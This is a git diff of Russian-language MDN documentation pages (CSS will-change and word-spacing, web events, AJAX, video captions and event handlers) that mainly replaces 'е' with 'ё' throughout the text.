              Не применяйте will-change к большому числу элементов. Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжёлые оптимизации ссылающиеся на will-change используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.
              
  
              • 
  
            • 
   
              Используйте умеренно. Обычное поведение для оптимизаций которые выполняет браузер, удалить оптимизацию как можно скорее и вернуть нормальное состояние. Но добавление will-change прямо в файле стилей предполагает, что указанный элемент всегда находится в нескольких шагах от изменений и браузер будет сохранять для него оптимизацию гораздо больше времени. Так что, было бы хорошо включать и отключать will-change используя скрипт до и после того как произошли изменения.
              
  
              • 
  
            • 
-  
              Не применяйте will-change к элементам для выполнения преждевременной оптимизации. Если ваша страница хорошо отрабатывается, не применяйте will-change свойство к элементу только чтобы выжать немного больше скорости. will-change предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование will-change приведет к излишнему потреблению памяти и вызовет более тяжелый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведет к ухудшению производительности.
              
+  
              Не применяйте will-change к элементам для выполнения преждевременной оптимизации. Если ваша страница хорошо отрабатывается, не применяйте will-change свойство к элементу только чтобы выжать немного больше скорости. will-change предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование will-change приведёт к излишнему потреблению памяти и вызовет более тяжёлый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведёт к ухудшению производительности.
              
  
              • 
  
            • 
-  
              Дайте ему достаточно времени, чтобы работать. Это свойство дает автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.
              
+  
              Дайте ему достаточно времени, чтобы работать. Это свойство даёт автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.
              
  
              • 
 
            
 
@@ -58,7 +58,7 @@ will-change: unset;
            contents
            Указывает, что автор ожидает анимацию или изменение чего то в контенте элемента в ближайшем будущем.
            {{cssxref("custom-ident", "<custom-ident>")}}
            
- 
            Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращенная запись,  тогда оно указывает на все полные записи свойств, на которые указывает сокращенная запись. Это не может быть одним из следующих значений: unset, initial, inherit, will-change, auto, scroll-position, или contents. 
            
+ 
            Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращённая запись,  тогда оно указывает на все полные записи свойств, на которые указывает сокращённая запись. Это не может быть одним из следующих значений: unset, initial, inherit, will-change, auto, scroll-position, или contents. 
            Примеры
            
diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html
index 0bd210c64b..495aa1889c 100644
--- a/files/ru/web/css/word-spacing/index.html
+++ b/files/ru/web/css/word-spacing/index.html
@@ -37,7 +37,7 @@ word-spacing: unset;
 
 
            
  
            normal
            
- 
            Нормальный интервал между словами, определенный текущим шрифтом и/или браузером.
            
+ 
            Нормальный интервал между словами, определённый текущим шрифтом и/или браузером.
            
  
            {{cssxref("length")}}
            
  
            Определяет дополнительный интервал в дополнение к внутреннему интервалу между словами, определяемому шрифтом.
            
  
            {{cssxref("percentage")}}
            
@@ -71,7 +71,7 @@ word-spacing: unset;
 
 
            Большое положительное или отрицательное значение word-spacing может сделать предложения, к которым применяется стиль, нечитаемыми.  Для текста, стилизованного с очень большими положительными значениями, слова будут так далеки друг от друга, что он больше не будет казаться предложением. Для текста, стилизованного с очень большими отрицательными значениями, слова будут перекрывать друг от друга до точки, где начало и конец каждого слова будут неразличимы.
            
 
-
            Разборчивый word-spacing должен быть определен в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.
            
+
            Разборчивый word-spacing должен быть определён в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.
            
 
 
            
-   
+   
diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html
index c760122766..a796d5ade0 100644
--- a/files/ru/web/events/index.html
+++ b/files/ru/web/events/index.html
@@ -15,7 +15,7 @@ translation_of: Web/Events
 
 
            Эта статья содержит список событий, которые могут быть отправлены; некоторые стандартные события определены в официальной документации, тогда как другие события являются специфичными для конкретных браузеров. Для примера, в списке приведены специфические для браузера Mozilla события, которые позволяют использовать add-ons для взаимодействия с браузером.
            
 
-
            Наиболее распространенные категории
            
+
            Наиболее распространённые категории
            
  
 
 
  
  
  
 
 
 
            
    {{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}
    {{Spec2('CSS3 Text')}}Заменяет предыдущее значение значением <spacing-limit>, которое определяет те же вещи, плюс значение <percentage>. Позволяет использовать до трех значений, описывающих оптимальное, минимальное и максимальное значение.Заменяет предыдущее значение значением <spacing-limit>, которое определяет те же вещи, плюс значение <percentage>. Позволяет использовать до трёх значений, описывающих оптимальное, минимальное и максимальное значение.
   
            
   
            
    {{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}
 
 
            
-   
+   
@@ -386,7 +386,7 @@ translation_of: Web/Events
   
-   
+   
@@ -394,11 +394,11 @@ translation_of: Web/Events
   
-   
+   
-   
+   
@@ -408,11 +408,11 @@ translation_of: Web/Events
    
-   
+   
-   
+   
@@ -649,7 +649,7 @@ translation_of: Web/Events
  open
            show
            
 
-
            Менее распространенные и нестандартные события
            
+
            Менее распространённые и нестандартные события
            Abortable Fetch события
            
 
diff --git a/files/ru/web/guide/ajax/getting_started/index.html b/files/ru/web/guide/ajax/getting_started/index.html
index 56e8a80a0b..aee30a7337 100644
--- a/files/ru/web/guide/ajax/getting_started/index.html
+++ b/files/ru/web/guide/ajax/getting_started/index.html
@@ -23,7 +23,7 @@ original_slug: Web/Guide/AJAX/С_чего_начать
 
 
            Шаг 1 — Как послать HTTP запрос
            
 
-
            Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введен в Internet Explorer как объект ActiveX, называемый XMLHTTP. Позже в Mozilla, Safari и другие браузеры был введен класс XMLHttpRequest, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.
            
+
            Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введён в Internet Explorer как объект ActiveX, называемый XMLHTTP. Позже в Mozilla, Safari и другие браузеры был введён класс XMLHttpRequest, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.
            В результате, чтобы создать кросс-браузерный объект требуемого класса, вы можете сделать следующее:
            
 
@@ -35,7 +35,7 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ...
 }
 
 
-
            (В целях наглядности, код выше является немного упрощенным. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)
            
+
            (В целях наглядности, код выше является немного упрощённым. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)
            Некоторые версии некоторых броузеров Mozilla не будут корректно работать, если ответ сервера не содержит заголовка XML mime-type. Чтобы решить эту проблему, вы можете использовать вызовы дополнительных методов для переопределения заголовка полученного от сервера, если он отличен от text/xml.
            
 
@@ -43,11 +43,11 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ...
 httpRequest.overrideMimeType('text/xml');
 
 
-
            Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путем присваивания свойству onreadystatechange имени JavaScript функции, которую вы собираетесь использовать:
            
+
            Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путём присваивания свойству onreadystatechange имени JavaScript функции, которую вы собираетесь использовать:
            httpRequest.onreadystatechange = nameOfTheFunction;
            
 
-
            Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете ее. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:
            
+
            Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете её. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:
            httpRequest.onreadystatechange = function(){
     // какой-нибудь код
@@ -62,7 +62,7 @@ httpRequest.send(null);
 
 
              
  
            • Первый параметр вызова функции open() — метод HTTP запроса (GET, POST, HEAD или любой другой метод, который вы хотите использовать). Используйте методы в соответствии с HTTP стандартами, иначе некоторые браузеры (такие как Firefox) могут не обработать запрос. Информация о допустимых HTTP запросах доступна по адресу спецификации W3C
              • 
- 
            • Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещен' при вызове функции open(). Типичной ошибкой при доступе к сайту через site.ru является отправка запроса на www.site.ru.
              • 
+ 
            • Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещён' при вызове функции open(). Типичной ошибкой при доступе к сайту через site.ru является отправка запроса на www.site.ru.
              • 
  
            • Третий параметр указывает, является ли запрос асинхронным. Если он TRUE, то выполнение JavaScript продолжится во время ожидания ответа сервера. В этом и заключается асинхронность технологии.
              • 
 
            
 
@@ -88,7 +88,7 @@ httpRequest.send(null);
 
            if (httpRequest.readyState == 4) {
     // все в порядке, ответ получен
 } else {
-    // все еще не готово
+    // все ещё не готово
 }
 
            
 
@@ -124,7 +124,7 @@ httpRequest.send(null);
 
 
            Шаг 3 — Простой пример
            
 
-
            Давайте соберем все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ test.html, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.
            
+
            Давайте соберём все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ test.html, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.
            
 
 
            <script type="text/javascript" language="javascript">
     function makeRequest(url) {
@@ -181,7 +181,7 @@ httpRequest.send(null);
 
              
  
            • Пользователь нажимает на ссылку "Сделать запрос" в броузере;
              • 
  
            • Это вызывает функцию makeRequest() с параметром test.html — именем HTML файла;
              • 
- 
            • Посылается запрос, после чего (onreadystatechange) выполнение передается alertContents();
              • 
+ 
            • Посылается запрос, после чего (onreadystatechange) выполнение передаётся alertContents();
              • 
  
            • alertContents() проверяет получен ли ответ и все ли с ним в порядке, после чего содержимое файла test.html выводится в диалоговом окне.
              • 
 
            
 
@@ -191,7 +191,7 @@ httpRequest.send(null);
 
 
            Замечание 2: Если вы посылаете запрос не на статический XML-файл, а на серверный скрипт, возвращающий XML, то нужно установить некоторые заголовки ответа, если вы планируете сделать вашу страницу работоспособной в Internet Explorer помимо Mozilla. Если вы не установите заголовок Content-Type: application/xml, IE будет сообщать об ошибке JavaScript, 'Object Expected', после строки, где вы пытаетесь получить доступ к XML элементу. Если вы не установите заголовок Cache-Control: no-cache броузер будет кэшировать ответ и никогда не будет повторно отправлять запрос, что сделает отладку весьма «забавной».
            
 
-
            Замечание 3: Если переменная httpRequest используется глобально, то конкурирующие функции, вызывающие makeRequest() могут конкурировать друг с другом, вызывая состязания. Объявление переменной httpRequest локально в функции и передача ее в alertContent() предотвращает состязания.
            
+
            Замечание 3: Если переменная httpRequest используется глобально, то конкурирующие функции, вызывающие makeRequest() могут конкурировать друг с другом, вызывая состязания. Объявление переменной httpRequest локально в функции и передача её в alertContent() предотвращает состязания.
            
 
 
            Замечание 4: При привязывании колбэк-функции к onreadystatechange нельзя указать аргументы. По этой причине не работает следующий код:
            
 
@@ -252,7 +252,7 @@ var root_node = xmldoc.getElementsByTagName('root').item(0);
 alert(root_node.firstChild.data);
 
            
 
-
            Этот код берет объект XMLDocument, возвращаемый responseXML и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть test.xml можно здесь, а обновленный скрипт здесь.
            
+
            Этот код берет объект XMLDocument, возвращаемый responseXML и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть test.xml можно здесь, а обновлённый скрипт здесь.
            
 
 
            Чтобы узнать больше о методах DOM, посмотрите реализация DOM в Mozilla.
            
 
diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html
index 7cf72beec7..25b4e612df 100644
--- a/files/ru/web/guide/ajax/index.html
+++ b/files/ru/web/guide/ajax/index.html
@@ -31,7 +31,7 @@ translation_of: Web/Guide/AJAX
 
     
            
      
            Простой путь Ajax
            
-     
            "Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все еще используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."
            
+     
            "Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все ещё используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."
            
     
            
 
     
            
diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
index 2fc93f687e..667568c42a 100644
--- a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
+++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
@@ -7,13 +7,13 @@ translation_of: >-
 ---
 
            
 
            
-
            В других статьях мы рассмотрели как  создать cross browser видео плеер используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как  стилизовать плеер. В этой статье мы возьмем тот же плеер и покажем как добавить  подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.
            
+
            В других статьях мы рассмотрели как  создать cross browser видео плеер используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как  стилизовать плеер. В этой статье мы возьмём тот же плеер и покажем как добавить  подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.
            
 
            
 
            
 
 
            Пример видео с подписями
            
 
-
            В этой статье мы сошлемся на пример плеера с подписями. Этот пример использует отрывок из Sintel open movie, созданного Blender Foundation.
            
+
            В этой статье мы сошлёмся на пример плеера с подписями. Этот пример использует отрывок из Sintel open movie, созданного Blender Foundation.
            
 
 
            Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."
            
 
@@ -29,7 +29,7 @@ translation_of: >-
 
 
            Подписи и субтитры не одно и тоже: они имеют существенные различия для зрителя, и передают различную информацию, мы рекомендуем ознакомится с различиями, если вы не уверены, что они есть. Однако технически они реализуются одинаково, поэтому материал в нашей статье применим к обоим.
            
 
-
            В этой статье мы сошлемся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.
            
+
            В этой статье мы сошлёмся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.
            
 
 
            Элемент <track> 
            
 
@@ -37,7 +37,7 @@ translation_of: >-
 
 
            WebVTT
            
 
-
            Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату,  такому как Web Video Text Tracks (WebVTT) формат. WebVTT specification всё еще работает, по этому основные его части стабильны и мы можем использовать их сегодня. 
            
+
            Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату,  такому как Web Video Text Tracks (WebVTT) формат. WebVTT specification всё ещё работает, по этому основные его части стабильны и мы можем использовать их сегодня. 
            
 
 
            Поставщики видео контента (такие как Blender Foundation) предоставляют и подписи и субтитры в текстовом формате с их видео, но они обычно в SubRip Text (SRT) формате. Этот формат может быть легко переконвертирован в WebVTT, используя  online  конвертер  например такой как srt2vtt.
            
 
@@ -123,15 +123,15 @@ translation_of: >-
    video.textTracks[i].mode = 'hidden';
 }
            
 
-
            Свойство video.textTracks  содержит массив всех текстовых треков, присоединенных к видео. Мы проходим по каждому и устанавливаем его  mode в hidden
            
+
            Свойство video.textTracks  содержит массив всех текстовых треков, присоединённых к видео. Мы проходим по каждому и устанавливаем его  mode в hidden
            
 
-
            Примечание:  WebVTT API дает нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента  <track>
            
+
            Примечание:  WebVTT API даёт нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента  <track>
            Building a caption menu
            Наша цель - это использовать кнопку subtitles , которую мы добавили ранее, чтобы дать возможность пользователю выбрать тот язык, который он хочет или полностью отключить субтитры.
            
 
-
            Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идет. Это меню создается динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов  <track> в разметке видео.
            
+
            Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идёт. Это меню создаётся динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов  <track> в разметке видео.
            Все что нам необходимо сделать - это пройти через  textTracks, читая их свойства и строя меню из них:
            
 
diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
index e4d2637356..8eae6fbe73 100644
--- a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
+++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html
@@ -211,6 +211,6 @@ myAudio.buffered.end(1);   // returns 19
            Надо заметить, что есть свойство played, сообщающее, были ли воспроизведены интервалы полностью. Пример:
            
 
-
            var played = audio.played; // вернет объект TimeRanges
            
+
            var played = audio.played; // вернёт объект TimeRanges
            Если просуммировать все интервалы audio.played, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.
            
diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html
index 0114b27893..4c529df53a 100644
--- a/files/ru/web/guide/css/block_formatting_context/index.html
+++ b/files/ru/web/guide/css/block_formatting_context/index.html
@@ -43,7 +43,7 @@ translation_of: Web/Guide/CSS/Block_formatting_context
 
 
            Давайте рассмотрим пару примеров, чтобы рассмотреть эффект от создания нового блочного контекста форматирования.
            
 
-
            В примере ниже мы имеем плавающий элемент внутри <div> с заданным border. Содержимое этого <div> обтекает плавающий элемент. Так как содержимое float выше, чем остальное содержимое, обтекающее его, border элемента div теперь проходит сквозь float. Как объясняется в руководстве In Flow and Out of Flow, плавающий элемент был исключен из потока элементов, так что фон и граница div включает только его содержимое, но не элемент float. 
            
+
            В примере ниже мы имеем плавающий элемент внутри <div> с заданным border. Содержимое этого <div> обтекает плавающий элемент. Так как содержимое float выше, чем остальное содержимое, обтекающее его, border элемента div теперь проходит сквозь float. Как объясняется в руководстве In Flow and Out of Flow, плавающий элемент был исключён из потока элементов, так что фон и граница div включает только его содержимое, но не элемент float. 
            {{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}
            
 
diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html
index 8401bd0739..fbbdde6848 100644
--- a/files/ru/web/guide/events/event_handlers/index.html
+++ b/files/ru/web/guide/events/event_handlers/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Guide/Events/Event_handlers
 
 
            Регистрация обработчиков onevent
            
 
-
            Обработчики onevent - это свойства определенных элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:
            
+
            Обработчики onevent - это свойства определённых элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:
              
  
            • Клик мышкой
              • 
diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html
index e670fc0d15..cd85e3eeac 100644
--- a/files/ru/web/guide/events/index.html
+++ b/files/ru/web/guide/events/index.html
@@ -25,9 +25,9 @@ translation_of: Web/Guide/Events
 
 
              Custom events page описывает, как шаблон кода события может быть использован в пользовательском коде, чтобы определить новые типы событий, испускаемые от пользовательских объектов, зарегистрируйтесь функции слушателядля обработки этих событий, и вызова события в коде пользователя.
              
 
-
              Остальные страницы описывают, как использовать события разных видов, определенных в веб-браузерах. К сожалению, эти события были определены по частям, веб-браузеры развивались таким образом, что нет удовлетворения систематическим характеристикам событий встроенным или определенным в современных веб-браузерах.
              
+
              Остальные страницы описывают, как использовать события разных видов, определённых в веб-браузерах. К сожалению, эти события были определены по частям, веб-браузеры развивались таким образом, что нет удовлетворения систематическим характеристикам событий встроенным или определённым в современных веб-браузерах.
              
 
-
              Устройство, на котором работа веб-браузера может спровоцировать событие, например связанное с изменением его положения и ориентации в реальном мире, частично описано page on orientation coordinate systems и page on the use of 3D transforms. Они разные, но похожи, с измененной вертикальной ориентации устройства.
              
+
              Устройство, на котором работа веб-браузера может спровоцировать событие, например связанное с изменением его положения и ориентации в реальном мире, частично описано page on orientation coordinate systems и page on the use of 3D transforms. Они разные, но похожи, с изменённой вертикальной ориентации устройства.
              
 
 
              Окно в котором отображается браузер может вызвать события, к примеру, изменить размер, если пользователь максимизирует окно или изменит его размер.
              
 
@@ -42,13 +42,13 @@ translation_of: Web/Guide/Events
  
            • события нажатия на экран и устаревшие экспериментальные события нажатия на экран (от Mozilla).
              • 
 
            
 
-
            Модификация в структуре веб-страницы или содержании может быть вызвано некоторым событием,  описанным в mutation events page, но их использование  устарело в пользу более легкого Mutation Observer подхода.
            
+
            Модификация в структуре веб-страницы или содержании может быть вызвано некоторым событием,  описанным в mutation events page, но их использование  устарело в пользу более лёгкого Mutation Observer подхода.
            Потоки Медиа, встроенный в HTML документа, может вызвать некоторые события, страница описания media events.
            Сетевые запросы, сделанные веб-страницей, могут вызвать некоторые события.
            
 
-
            Есть много других источников событий, определенных в веб-браузере, страницы которых пока не доступны в данном руководстве.
            
+
            Есть много других источников событий, определённых в веб-браузере, страницы которых пока не доступны в данном руководстве.
            
 
            Примечание: Это руководство событие Разработчика нуждается в существенной работе.Структура должна быть реорганизована и страницы переписаны. Мы надеемся, что все, что вы знаете и должны знать о событиях будет опубликовано здесь.
            
diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html
index a3a13cc821..6c35079a6e 100644
--- a/files/ru/web/guide/events/media_events/index.html
+++ b/files/ru/web/guide/events/media_events/index.html
@@ -8,7 +8,7 @@ tags:
   - события
 translation_of: Web/Guide/Events/Media_events
 ---
-
            Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведен их список и описание.
            
+
            Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведён их список и описание.
            
 
 
            
  
@@ -294,7 +294,7 @@ translation_of: Web/Events
  
   
            
    {{Event("fullscreenchange")}}Элемент был переведен в полноэкранный режим или обратно в нормальный режим.Элемент был переведён в полноэкранный режим или обратно в нормальный режим.
   
            
   
            
    {{Event("fullscreenerror")}}
            
   
            
    {{Event("dblclick")}}На элементе дважды щелкается кнопка указывающего устройства.На элементе дважды щёлкается кнопка указывающего устройства.
   
            
   
            
    {{Event("mousedown")}}
            
   
            
    {{Event("mouseenter")}}Указывающее устройство перемещено на элемент, к которому подключен обработчик.Указывающее устройство перемещено на элемент, к которому подключён обработчик.
   
            
   
            
    {{Event("mouseleave")}}Указывающее устройство перемещается от элемента, к которому подключен обработчик.Указывающее устройство перемещается от элемента, к которому подключён обработчик.
   
            
   
            
    {{Event("mousemove")}}
     
            {{Event("mouseover")}}
            
                		Указывающее устройство перемещается на элемент, к которому подключен обработчик, или на один из его дочерних элементов.Указывающее устройство перемещается на элемент, к которому подключён обработчик, или на один из его дочерних элементов.
   
            
   
            
    {{Event("mouseout")}}Указывающее устройство перемещается от элемента, к которому подключен обработчик, или от одного из его дочерних элементов.Указывающее устройство перемещается от элемента, к которому подключён обработчик, или от одного из его дочерних элементов.
   
            
   
            
    {{Event("mouseup")}}
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
            
@@ -26,7 +26,7 @@ translation_of: Web/Guide/Events/Media_events
   
-   
+   
@@ -86,7 +86,7 @@ translation_of: Web/Guide/Events/Media_events
   
-   
+   
@@ -114,7 +114,7 @@ translation_of: Web/Guide/Events/Media_events
   
-   
+   
diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
index 7be572dc0f..326926fe3a 100644
--- a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
+++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html
@@ -7,13 +7,13 @@ translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers
 
            Эта обзорная статья о событиях и их обработчиках описывает шаблон проектирования кода, который используется для реагирования на события, возникающие, когда браузер получает доступ к web-странице, и содержит подборку типов подобных событий, которые современные браузеры могут обрабатывать.
            
 
-
            События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с ее содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчет времени анимации.
            
+
            События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с её содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчёт времени анимации.
            
 
-
            События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остается неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети, скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы, нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи "Неудобные API: Теория DOM", которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.
            
+
            События и обработчики событий заняли центральное место в web-программировании с добавлением языка в браузеры, сопровождая смену архитектуры рендеринга от перехвата и загрузки страницы к управлению с помощью событий, основанном на перекомпоновке (reflow). Сначала браузер ожидает, пока он получит все ресурсы, связанные со страницей, чтобы проанализировать, обработать, отрисовать и предоставить страницу пользователю. Отрисованная страница остаётся неизменной, пока браузер не запросит новую. С изменением в подходе к рендерингу динамической страницы, браузер непрерывно зацикливается между обработкой, отрисовкой, представлением содержимого и ожиданием некоторого нового триггера события. Триггеры событий включают, например, завершение загрузки ресурса по сети, скачивание изображений, которые теперь могут быть отрисованы на экране, завершение браузером анализа ресурса, обработку HTML-содержимого страницы, взаимодействие пользователя с содержимым страницы, нажатия кнопок. Дуглас Крокфорд хорошо объясняет это изменение в нескольких лекциях, особенно своей речи "Неудобные API: Теория DOM", которая описывает изменения в потоке изначального потока браузера от управляемого событиями браузера.
            A comparison of the sequential and event-driven browser load sequences.
            
 
-
            Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер еще не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая этот.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.
            
+
            Второй подход изменяет последние шаги, переходя от простого потока к бесконечному циклу, где ожидание и обработка возникновения новых событий следует за отрисовкой. Введение динамического подхода позволяет странице быть частично отрендериной, даже когда браузер ещё не закончил извлечение всех ресурсов; это так же разрешено для действий, управляемыми событиями, которые JavaScript использует. (Речь доступна на нескольких ресурсах, включая этот.) На данный момент, все среды исполнения JavaScript используют события и их обработчики.
            Шаблон проектирования событий
            
 
@@ -58,9 +58,9 @@ buttonDOMElement.addEventListener('click', example_click_handler);
            {{ EmbedLiveSample('Button_Event_Handler') }}
            
 
-
